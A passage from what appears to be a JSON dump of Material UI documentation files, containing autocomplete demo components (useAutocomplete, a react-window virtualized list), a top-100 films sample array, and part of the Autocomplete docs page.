Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/UseAutocomplete.tsx",
    "content": "import useAutocomplete from '@mui/material/useAutocomplete';\nimport { styled } from '@mui/system';\n\nconst Label = styled('label')({\n  display: 'block',\n});\n\nconst Input = styled('input')(({ theme }) => ({\n  width: 200,\n  backgroundColor: '#fff',\n  color: '#000',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#000',\n    color: '#fff',\n  }),\n}));\n\nconst Listbox = styled('ul')(({ theme }) => ({\n  width: 200,\n  margin: 0,\n  padding: 0,\n  zIndex: 1,\n  position: 'absolute',\n  listStyle: 'none',\n  backgroundColor: '#fff',\n  overflow: 'auto',\n  maxHeight: 200,\n  border: '1px solid rgba(0,0,0,.25)',\n  '& li.Mui-focused': {\n    backgroundColor: '#4a8df6',\n    color: 'white',\n    cursor: 'pointer',\n  },\n  '& li:active': {\n    backgroundColor: '#2977f5',\n    color: 'white',\n  },\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#000',\n  }),\n}));\n\nexport default function UseAutocomplete() {\n  const {\n    getRootProps,\n    getInputLabelProps,\n    getInputProps,\n    getListboxProps,\n    getOptionProps,\n    groupedOptions,\n  } = useAutocomplete({\n    id: 'use-autocomplete-demo',\n    options: top100Films,\n    getOptionLabel: (option) => option.title,\n  });\n\n  return (\n    <div>\n      <div {...getRootProps()}>\n        <Label {...getInputLabelProps()}>useAutocomplete</Label>\n        <Input {...getInputProps()} />\n      </div>\n      {groupedOptions.length > 0 ? (\n        <Listbox {...getListboxProps()}>\n          {groupedOptions.map((option, index) => {\n            const { key, ...optionProps } = getOptionProps({ option, index });\n            return (\n              <li key={key} {...optionProps}>\n                {option.title}\n              </li>\n            );\n          })}\n        </Listbox>\n      ) : null}\n    </div>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/UseAutocomplete.tsx.preview",
    "content": "<div {...getRootProps()}>\n  <Label {...getInputLabelProps()}>useAutocomplete</Label>\n  <Input {...getInputProps()} />\n</div>\n{groupedOptions.length > 0 ? (\n  <Listbox {...getListboxProps()}>\n    {groupedOptions.map((option, index) => {\n      const { key, ...optionProps } = getOptionProps({ option, index });\n      return (\n        <li key={key} {...optionProps}>\n          {option.title}\n        </li>\n      );\n    })}\n  </Listbox>\n) : null}"
  },
  {
    "path": "docs/data/material/components/autocomplete/Virtualize.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Popper from '@mui/material/Popper';\nimport { useTheme, styled } from '@mui/material/styles';\nimport { List, useListRef } from 'react-window';\nimport Typography from '@mui/material/Typography';\n\nconst LISTBOX_PADDING = 8; // px\n\nfunction RowComponent({ index, itemData, style }) {\n  const dataSet = itemData[index];\n  const inlineStyle = {\n    ...style,\n    top: (style.top ?? 0) + LISTBOX_PADDING,\n  };\n\n  if ('group' in dataSet) {\n    return (\n      <ListSubheader key={dataSet.key} component=\"div\" style={inlineStyle}>\n        {dataSet.group}\n      </ListSubheader>\n    );\n  }\n\n  const { key, ...optionProps } = dataSet[0];\n\n  return (\n    <Typography key={key} component=\"li\" {...optionProps} noWrap style={inlineStyle}>\n      {`#${dataSet[2] + 1} - ${dataSet[1]}`}\n    </Typography>\n  );\n}\n\n// Adapter for react-window v2\n\nRowComponent.propTypes = {\n  index: PropTypes.number.isRequired,\n  itemData: PropTypes.arrayOf(\n    PropTypes.oneOfType([\n      PropTypes.arrayOf(\n        PropTypes.oneOfType([PropTypes.element, PropTypes.number, PropTypes.string])\n          .isRequired,\n      ),\n      PropTypes.shape({\n        children: PropTypes.node,\n        group: PropTypes.string.isRequired,\n        key: PropTypes.number.isRequired,\n      }),\n    ]).isRequired,\n  ).isRequired,\n  style: PropTypes.object.isRequired,\n};\n\nconst ListboxComponent = React.forwardRef(function ListboxComponent(props, ref) {\n  const { children, internalListRef, onItemsBuilt, ...other } = props;\n  const itemData = [];\n  const optionIndexMap = React.useMemo(() => new Map(), []);\n\n  children.forEach((item) => {\n    itemData.push(item);\n    if ('children' in item && Array.isArray(item.children)) {\n      itemData.push(...item.children);\n    }\n  });\n\n  // Map option values to their indices in the flattened array\n  itemData.forEach((item, index) => {\n    if (Array.isArray(item) && item[1]) {\n      optionIndexMap.set(item[1], index);\n    }\n  });\n\n  React.useEffect(() => {\n    if (onItemsBuilt) {\n      onItemsBuilt(optionIndexMap);\n    }\n  }, [onItemsBuilt, optionIndexMap]);\n\n  const theme = useTheme();\n  const smUp = useMediaQuery(theme.breakpoints.up('sm'), {\n    noSsr: true,\n  });\n  const itemCount = itemData.length;\n  const itemSize = smUp ? 36 : 48;\n\n  const getChildSize = (child) => {\n    if (child.hasOwnProperty('group')) {\n      return 48;\n    }\n    return itemSize;\n  };\n\n  const getHeight = () => {\n    if (itemCount > 8) {\n      return 8 * itemSize;\n    }\n    return itemData.map(getChildSize).reduce((a, b) => a + b, 0);\n  };\n\n  // Separate className for List, other props for wrapper div (ARIA, handlers)\n  const { className, style, ...otherProps } = other;\n\n  return (\n    <div ref={ref} {...otherProps}>\n      <List\n        className={className}\n        listRef={internalListRef}\n        key={itemCount}\n        rowCount={itemCount}\n        rowHeight={(index) => getChildSize(itemData[index])}\n        rowComponent={RowComponent}\n        rowProps={{ itemData }}\n        style={{\n          height: getHeight() + 2 * LISTBOX_PADDING,\n          width: '100%',\n        }}\n        overscanCount={5}\n        tagName=\"ul\"\n      />\n    </div>\n  );\n});\n\nListboxComponent.propTypes = {\n  children: PropTypes.node,\n  className: PropTypes.string,\n  internalListRef: PropTypes.oneOfType([\n    PropTypes.func,\n    PropTypes.shape({\n      current: PropTypes.shape({\n        element: PropTypes.object,\n        scrollToRow: PropTypes.func.isRequired,\n      }),\n    }),\n  ]),\n  onItemsBuilt: PropTypes.func.isRequired,\n  style: PropTypes.object,\n};\n\nfunction random(length) {\n  const characters =\n    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n  let result = '';\n\n  for (let i = 0; i < length; i += 1) {\n    result += characters.charAt(Math.floor(Math.random() * characters.length));\n  }\n\n  return result;\n}\n\nconst StyledPopper = styled(Popper)({\n  [`& .${autocompleteClasses.listbox}`]: {\n    boxSizing: 'border-box',\n    '& ul': {\n      padding: 0,\n      margin: 0,\n    },\n  },\n});\n\nconst OPTIONS = Array.from(new Array(10000))\n  .map(() => random(10 + Math.ceil(Math.random() * 20)))\n  .sort((a, b) => a.toUpperCase().localeCompare(b.toUpperCase()));\n\nexport default function Virtualize() {\n  // Use react-window v2's useListRef hook for imperative API access\n  const internalListRef = useListRef(null);\n  const optionIndexMapRef = React.useRef(new Map());\n\n  const handleItemsBuilt = React.useCallback((optionIndexMap) => {\n    optionIndexMapRef.current = optionIndexMap;\n  }, []);\n\n  // Handle keyboard navigation by scrolling to highlighted option\n  const handleHighlightChange = (event, option) => {\n    if (option && internalListRef.current) {\n      const index = optionIndexMapRef.current.get(option);\n      if (index !== undefined) {\n        internalListRef.current.scrollToRow({ index, align: 'auto' });\n      }\n    }\n  };\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      disableListWrap\n      options={OPTIONS}\n      groupBy={(option) => option[0].toUpperCase()}\n      renderInput={(params) => <TextField {...params} label=\"10,000 options\" />}\n      renderOption={(props, option, state) => [props, option, state.index]}\n      renderGroup={(params) => params}\n      onHighlightChange={handleHighlightChange}\n      slots={{\n        popper: StyledPopper,\n      }}\n      slotProps={{\n        listbox: {\n          component: ListboxComponent,\n          internalListRef,\n          onItemsBuilt: handleItemsBuilt,\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Virtualize.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Popper from '@mui/material/Popper';\nimport { useTheme, styled } from '@mui/material/styles';\nimport {\n  List,\n  RowComponentProps,\n  useListRef,\n  ListImperativeAPI,\n} from 'react-window';\nimport Typography from '@mui/material/Typography';\n\nconst LISTBOX_PADDING = 8; // px\n\ntype ItemData = Array<\n  | {\n      key: number;\n      group: string;\n      children: React.ReactNode;\n    }\n  | [React.ReactElement, string, number]\n>;\n\nfunction RowComponent({\n  index,\n  itemData,\n  style,\n}: RowComponentProps & {\n  itemData: ItemData;\n}) {\n  const dataSet = itemData[index];\n  const inlineStyle = {\n    ...style,\n    top: ((style.top as number) ?? 0) + LISTBOX_PADDING,\n  };\n\n  if ('group' in dataSet) {\n    return (\n      <ListSubheader key={dataSet.key} component=\"div\" style={inlineStyle}>\n        {dataSet.group}\n      </ListSubheader>\n    );\n  }\n\n  const { key, ...optionProps } = dataSet[0];\n\n  return (\n    <Typography key={key} component=\"li\" {...optionProps} noWrap style={inlineStyle}>\n      {`#${dataSet[2] + 1} - ${dataSet[1]}`}\n    </Typography>\n  );\n}\n\n// Adapter for react-window v2\nconst ListboxComponent = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLElement> & {\n    internalListRef: React.Ref<ListImperativeAPI>;\n    onItemsBuilt: (optionIndexMap: Map<string, number>) => void;\n  }\n>(function ListboxComponent(props, ref) {\n  const { children, internalListRef, onItemsBuilt, ...other } = props;\n  const itemData: ItemData = [];\n  const optionIndexMap = React.useMemo(() => new Map<string, number>(), []);\n\n  (children as ItemData).forEach((item) => {\n    itemData.push(item);\n    if ('children' in item && Array.isArray(item.children)) {\n      itemData.push(...item.children);\n    }\n  });\n\n  // Map option values to their indices in the flattened array\n  itemData.forEach((item, index) => {\n    if (Array.isArray(item) && item[1]) {\n      optionIndexMap.set(item[1], index);\n    }\n  });\n\n  React.useEffect(() => {\n    if (onItemsBuilt) {\n      onItemsBuilt(optionIndexMap);\n    }\n  }, [onItemsBuilt, optionIndexMap]);\n\n  const theme = useTheme();\n  const smUp = useMediaQuery(theme.breakpoints.up('sm'), {\n    noSsr: true,\n  });\n  const itemCount = itemData.length;\n  const itemSize = smUp ? 36 : 48;\n\n  const getChildSize = (child: ItemData[number]) => {\n    if (child.hasOwnProperty('group')) {\n      return 48;\n    }\n    return itemSize;\n  };\n\n  const getHeight = () => {\n    if (itemCount > 8) {\n      return 8 * itemSize;\n    }\n    return itemData.map(getChildSize).reduce((a, b) => a + b, 0);\n  };\n\n  // Separate className for List, other props for wrapper div (ARIA, handlers)\n  const { className, style, ...otherProps } = other;\n\n  return (\n    <div ref={ref} {...otherProps}>\n      <List\n        className={className}\n        listRef={internalListRef}\n        key={itemCount}\n        rowCount={itemCount}\n        rowHeight={(index) => getChildSize(itemData[index])}\n        rowComponent={RowComponent}\n        rowProps={{ itemData }}\n        style={{\n          height: getHeight() + 2 * LISTBOX_PADDING,\n          width: '100%',\n        }}\n        overscanCount={5}\n        tagName=\"ul\"\n      />\n    </div>\n  );\n});\n\nfunction random(length: number) {\n  const characters =\n    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n  let result = '';\n\n  for (let i = 0; i < length; i += 1) {\n    result += characters.charAt(Math.floor(Math.random() * characters.length));\n  }\n\n  return result;\n}\n\nconst StyledPopper = styled(Popper)({\n  [`& .${autocompleteClasses.listbox}`]: {\n    boxSizing: 'border-box',\n    '& ul': {\n      padding: 0,\n      margin: 0,\n    },\n  },\n});\n\nconst OPTIONS = Array.from(new Array(10000))\n  .map(() => random(10 + Math.ceil(Math.random() * 20)))\n  .sort((a: string, b: string) => a.toUpperCase().localeCompare(b.toUpperCase()));\n\nexport default function Virtualize() {\n  // Use react-window v2's useListRef hook for imperative API access\n  const internalListRef = useListRef(null);\n  const optionIndexMapRef = React.useRef<Map<string, number>>(new Map());\n\n  const handleItemsBuilt = React.useCallback(\n    (optionIndexMap: Map<string, number>) => {\n      optionIndexMapRef.current = optionIndexMap;\n    },\n    [],\n  );\n\n  // Handle keyboard navigation by scrolling to highlighted option\n  const handleHighlightChange = (\n    event: React.SyntheticEvent,\n    option: string | null,\n  ) => {\n    if (option && internalListRef.current) {\n      const index = optionIndexMapRef.current.get(option);\n      if (index !== undefined) {\n        internalListRef.current.scrollToRow({ index, align: 'auto' });\n      }\n    }\n  };\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      disableListWrap\n      options={OPTIONS}\n      groupBy={(option) => option[0].toUpperCase()}\n      renderInput={(params) => <TextField {...params} label=\"10,000 options\" />}\n      renderOption={(props, option, state) =>\n        [props, option, state.index] as React.ReactNode\n      }\n      renderGroup={(params) => params as any}\n      onHighlightChange={handleHighlightChange}\n      slots={{\n        popper: StyledPopper,\n      }}\n      slotProps={{\n        listbox: {\n          component: ListboxComponent,\n          internalListRef,\n          onItemsBuilt: handleItemsBuilt,\n        } as any,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/autocomplete.md",
    "content": "---\nproductId: material-ui\ntitle: React Autocomplete component\ncomponents: TextField, Popper, Autocomplete\ngithubLabel: 'scope: autocomplete'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/combobox/\ngithubSource: packages/mui-material/src/Autocomplete\n---\n\n# Autocomplete\n\n<p class=\"description\">The autocomplete is a normal text input enhanced by a panel of suggested options.</p>\n\nThe widget is useful for setting the value of a single-line textbox in one of two types of scenarios:\n\n1. The value for the textbox must be chosen from a predefined set of allowed values, for example a location field must contain a valid location name: [combo box](#combo-box).\n2. The textbox may contain any arbitrary value, but it is advantageous to suggest possible values to the user, for example a search field may suggest similar or previous searches to save the user time: [free solo](#free-solo).\n\nIt's meant to be an improved version of the \"react-select\" and \"downshift\" packages.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Combo box\n\nThe value must be chosen from a predefined set of allowed values.\n\n{{\"demo\": \"ComboBox.js\"}}\n\n### Options structure\n\nBy default, the component accepts the following options structures:\n\n```ts\ninterface AutocompleteOption {\n  label: string;\n}\n// or\ntype AutocompleteOption = string;\n```\n\nfor instance:\n\n```js\nconst options = [\n  { label: 'The Godfather', id: 1 },\n  { label: 'Pulp Fiction', id: 2 },\n];\n// or\nconst options = ['The Godfather', 'Pulp Fiction'];\n```\n\nHowever, you can use different structures by providing a `getOptionLabel` prop.\n\nIf your options are objects, you must provide the `isOptionEqualToValue` prop to ensure correct selection and highlighting. By default, it uses strict equality to compare options with the current value.\n\n:::warning\nIf your options have duplicate labels, you must extract a unique key with the `getOptionKey` prop.\n\n```tsx\nconst options = [\n  { label: 'The Godfather', id: 1 },\n  { label: 'The Godfather', id: 2 },\n];\n\nreturn <Autocomplete options={options} getOptionKey={(option) => option.id} />;\n```\n\n:::\n\n### Playground\n\nEach of the following examples demonstrates one feature of the Autocomplete component.\n\n{{\"demo\": \"Playground.js\"}}\n\n### Country select\n\nChoose one of the 248 countries.\n\n{{\"demo\": \"CountrySelect.js\"}}\n\n### Controlled states\n\nThe component has two states that can be controlled:\n\n1. the \"value\" state with the `value`/`onChange` props combination. This state represents the value selected by the user, for instance when pressing <kbd class=\"key\">Enter</kbd>.\n2. the \"input value\" state with the `inputValue`/`onInputChange` props combination. This state represents the value displayed in the textbox.\n\nThese two states are isolated, and should be controlled independently.\n\n:::info\n\n- A component is **controlled** when it's managed by its parent using props.\n- A component is **uncontrolled** when it's managed by its own local state.\n\nLearn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).\n:::\n\n{{\"demo\": \"ControllableStates.js\"}}\n\n:::warning\n\nIf you control the `value`, make sure it's referentially stable between renders.\nIn other words, the reference to the value shouldn't change if the value itself doesn't change.\n\n```tsx\n// ⚠️ BAD\nreturn <Autocomplete multiple value={allValues.filter((v) => v.selected)} />;\n\n// 👍 GOOD\nconst selectedValues = React.useMemo(\n  () => allValues.filter((v) => v.selected),\n  [allValues],\n);\nreturn <Autocomplete multiple value={selectedValues} />;\n```\n\nIn the first example, `allValues.filter` is called and returns **a new array** every render.\nThe fix includes memoizing the value, so it changes only when needed.\n:::\n\n## Free solo\n\nSet `freeSolo` to true so the textbox can contain any arbitrary value.\n\n### Search input\n\nThe prop is designed to cover the primary use case of a **search input** with suggestions, for example Google search or react-autowhatever.\n\n{{\"demo\": \"FreeSolo.js\"}}\n\n:::warning\nBe careful when using the free solo mode with non-string options, as it may cause type mismatch.\n\nThe value created by typing into the textbox is always a string, regardless of the type of the options.\n:::\n\n### Creatable\n\nIf you intend to use this mode for a [combo box](#combo-box) like experience (an enhanced version of a select element) we recommend setting:\n\n- `selectOnFocus` to help the user clear the selected value.\n- `clearOnBlur` to help the user enter a new value.\n- `handleHomeEndKeys` to move focus inside the popup with the <kbd class=\"key\">Home</kbd> and <kbd class=\"key\">End</kbd> keys.\n- A last option, for instance: `Add \"YOUR SEARCH\"`.\n\n{{\"demo\": \"FreeSoloCreateOption.js\"}}\n\nYou could also display a dialog when the user wants to add a new value.\n\n{{\"demo\": \"FreeSoloCreateOptionDialog.js\"}}\n\n## Grouped\n\nYou can group the options with the `groupBy` prop.\nIf you do so, make sure that the options are also sorted with the same dimension that they are grouped by,\notherwise, you will notice duplicate headers.\n\n{{\"demo\": \"Grouped.js\"}}\n\nTo control how the groups are rendered, provide a custom `renderGroup` prop.\nThis is a function that accepts an object with two fields:\n\n- `group`—a string representing a group name\n- `children`—a collection of list items that belong to the group\n\nThe following demo shows how to use this prop to define custom markup and override the styles of the default groups:\n\n{{\"demo\": \"RenderGroup.js\"}}\n\n## Disabled options\n\n{{\"demo\": \"DisabledOptions.js\"}}\n\n## `useAutocomplete`\n\nFor advanced customization use cases, a headless `useAutocomplete()` hook is exposed.\nIt accepts almost the same options as the Autocomplete component minus all the props\nrelated to the rendering of JSX.\nThe Autocomplete component is built on this hook.\n\n```tsx\nimport { useAutocomplete } from '@mui/base/useAutocomplete';\n```\n\nThe `useAutocomplete` hook is also reexported from @mui/material for convenience and backward compatibility.\n\n```tsx\nimport useAutocomplete from '@mui/material/useAutocomplete';\n```\n\n- 📦 [4.6 kB gzipped](https://bundlephobia.com/package/@mui/material).\n\n{{\"demo\": \"UseAutocomplete.js\", \"defaultCodeOpen\": false}}\n\n### Customized hook\n\n{{\"demo\": \"CustomizedHook.js\", \"defaultCodeOpen\": false}}\n\nHead to the [customization](#customization) section for an example with the `Autocomplete` component instead of the hook.\n\n## Asynchronous requests\n\nThe component supports two different asynchronous use-cases:\n\n- [Load on open](#load-on-open): it waits for the component to be interacted with to load the options.\n- [Search as you type](#search-as-you-type): a new request is made for each keystroke.\n\n### Load on open\n\nIt displays a progress state as long as the network request is pending.\n\n{{\"demo\": \"Asynchronous.js\"}}\n\n### Search as you type\n\nIf your logic is fetching new options on each keystroke and using the current value of the textbox\nto filter on the server, you may want to consider throttling requests.\n\nAdditionally, you will need to disable the built-in filtering of the `Autocomplete` component by\noverriding the `filterOptions` prop:\n\n```jsx\n<Autocomplete filterOptions={(x) => x} />\n```\n\n### Google Maps place\n\nA customized UI for Google Maps Places Autocomplete.\nFor this demo, we need to load the [Google Maps JavaScript](https://developers.google.com/maps/documentation/javascript/overview) and [Google Places](https://developers.google.com/maps/documentation/places/web-service/overview) API.\n\n{{\"demo\": \"GoogleMaps.js\"}}\n\nThe demo relies on [autosuggest-highlight](https://github.com/moroshko/autosuggest-highlight), a small (1 kB) utility for highlighting text in autosuggest and autocomplete components.\n\n:::error\nBefore you can start using the Google Maps JavaScript API and Places API, you need to get your own [API key](https://developers.google.com/maps/documentation/javascript/get-api-key).\n\nThis demo has limited quotas to make API requests. When your quota exceeds, you will see the response for \"Paris\".\n:::\n\n## Single value rendering\n\nBy default (when `multiple={false}`), the selected option is displayed as plain text inside the input.\nThe `renderValue` prop allows you to customize how the selected value is rendered.\nThis can be useful for adding custom styles, displaying additional information, or formatting the value differently.\n\n- The `getItemProps` getter provides props like `data-item-index`, `disabled`, `tabIndex` and others. These props should be spread onto the rendered component for proper accessibility.\n- If using a custom component other than a Material UI Chip, destructure the `onDelete` prop as it's specific to the Material UI Chip.\n\n{{\"demo\": \"CustomSingleValueRendering.js\"}}\n\n## Multiple values\n\nWhen `multiple={true}`, the user can select multiple values. These selected values, referred to as \"items\" can be customized using the `renderValue` prop.\n\n- The `getItemProps` getter supplies essential props like `data-item-index`, `disabled`, `tabIndex` and others. Make sure to spread them on each rendered item.\n- If using a custom component other than a Material UI Chip, destructure the `onDelete` prop as it's specific to the Material UI Chip.\n\n{{\"demo\": \"Tags.js\"}}\n\n### Fixed options\n\nIn the event that you need to lock certain tags so that they can't be removed, you can set the chips disabled.\n\n{{\"demo\": \"FixedTags.js\"}}\n\n### Selection indicators\n\nThis example demonstrates how icons are used to indicate the selection state of each item in the listbox.\n\n{{\"demo\": \"CheckboxesTags.js\"}}\n\n### Limit tags\n\nYou can use the `limitTags` prop to limit the number of displayed options when not focused.\n\n{{\"demo\": \"LimitTags.js\"}}\n\n## Sizes\n\nFancy smaller inputs? Use the `size` prop.\n\n{{\"demo\": \"Sizes.js\"}}\n\n## Customization\n\n### Custom input\n\nThe `renderInput` prop allows you to customize the rendered input.\nThe first argument of this render prop contains props that you need to forward.\nPay specific attention to the `ref` and `inputProps` keys.\n\n:::warning\nIf you're using a custom input component inside the Autocomplete, make sure that you forward the ref to the underlying DOM element.\n:::\n\n{{\"demo\": \"CustomInputAutocomplete.js\"}}\n\n### Globally customized options\n\nTo globally customize the Autocomplete options for all components in your app,\nyou can use the [theme default props](/material-ui/customization/theme-components/#theme-default-props) and set the `renderOption` property in the `defaultProps` key.\nThe `renderOption` property takes the 